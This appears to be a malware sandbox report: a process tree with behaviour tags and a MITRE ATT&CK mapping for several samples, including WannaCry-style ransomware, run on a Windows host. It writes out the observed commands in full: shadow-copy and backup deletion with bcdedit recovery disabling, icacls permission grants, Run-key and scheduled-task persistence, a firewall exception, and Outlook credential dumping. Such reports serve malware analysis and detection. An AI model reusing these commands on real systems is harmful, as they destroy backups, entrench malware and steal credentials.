"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3500 /prefetch:1
5⤵
PID:4472

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5816 /prefetch:8
5⤵
PID:2356

C:\Users\Admin\Desktop\10.exe
"C:\Users\Admin\Desktop\10.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2336

C:\Windows\SysWOW64\attrib.exe
attrib +h .
3⤵
- Views/modifies file attributes
PID:3664

C:\Windows\SysWOW64\icacls.exe
icacls . /grant Everyone:F /T /C /Q
3⤵
- Modifies file permissions
PID:4628

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:3612

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c 169511651675374.bat
3⤵
PID:3520

C:\Windows\SysWOW64\cscript.exe
cscript.exe //nologo m.vbs
4⤵
PID:624

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:3052

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe co
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3584

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b @WanaDecryptor@.exe vs
3⤵
PID:2908

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe vs
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1676

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
5⤵
PID:1272

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4896

C:\Users\Admin\Desktop\taskse.exe
taskse.exe C:\Users\Admin\Desktop\@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4176

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:1244

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "dlkzpibqectdraf799" /t REG_SZ /d "\"C:\Users\Admin\Desktop\tasksche.exe\"" /f
3⤵
PID:4504

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "dlkzpibqectdraf799" /t REG_SZ /d "\"C:\Users\Admin\Desktop\tasksche.exe\"" /f
4⤵
- Adds Run key to start application
- Modifies registry key
PID:1760

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:5112

C:\Users\Admin\Desktop\taskse.exe
taskse.exe C:\Users\Admin\Desktop\@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
PID:1304

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:716

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:512

C:\Users\Admin\Desktop\taskse.exe
taskse.exe C:\Users\Admin\Desktop\@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
PID:1388

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2940

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:972

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\3.xlsx"
2⤵
PID:2916

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\2.doc" /o ""
2⤵
PID:3280

C:\Users\Admin\Desktop\5.exe
"C:\Users\Admin\Desktop\5.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
PID:4208

C:\ProgramData\system.exe
"C:\ProgramData\system.exe"
3⤵
- Executes dropped EXE
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:2040

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\ProgramData\system.exe" "system.exe" ENABLE
4⤵
PID:560

C:\Users\Admin\Desktop\6.exe
"C:\Users\Admin\Desktop\6.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:3572

C:\Users\Default User\fontdrvhost.exe
"C:\Users\Default User\fontdrvhost.exe"
3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:3752

C:\Users\Admin\Desktop\7.exe
"C:\Users\Admin\Desktop\7.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1336

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
3⤵
- Accesses Microsoft Outlook accounts
PID:204

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1692

C:\Users\Admin\Desktop\8.exe
"C:\Users\Admin\Desktop\8.exe"
2⤵
- Executes dropped EXE
- Modifies extensions of user files
- Drops startup file
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3892

C:\Windows\system32\wbem\wmic.exe
"C:\pwmlx\c\g\..\..\..\Windows\i\qjcj\eyh\..\..\..\system32\jm\..\wbem\tee\j\..\..\wmic.exe" shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3952

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\9.docm" /o ""
2⤵
PID:4664

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Default User\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\System32\enterprisecsps\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1652

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\unregmp2\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1664

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f4 0x4c8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4064

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops startup file
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:972

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Hidden Files and Directories

T1158

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

File Deletion

T1107

File Permissions Modification

T1222

Scripting

T1064

Hidden Files and Directories

T1158

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery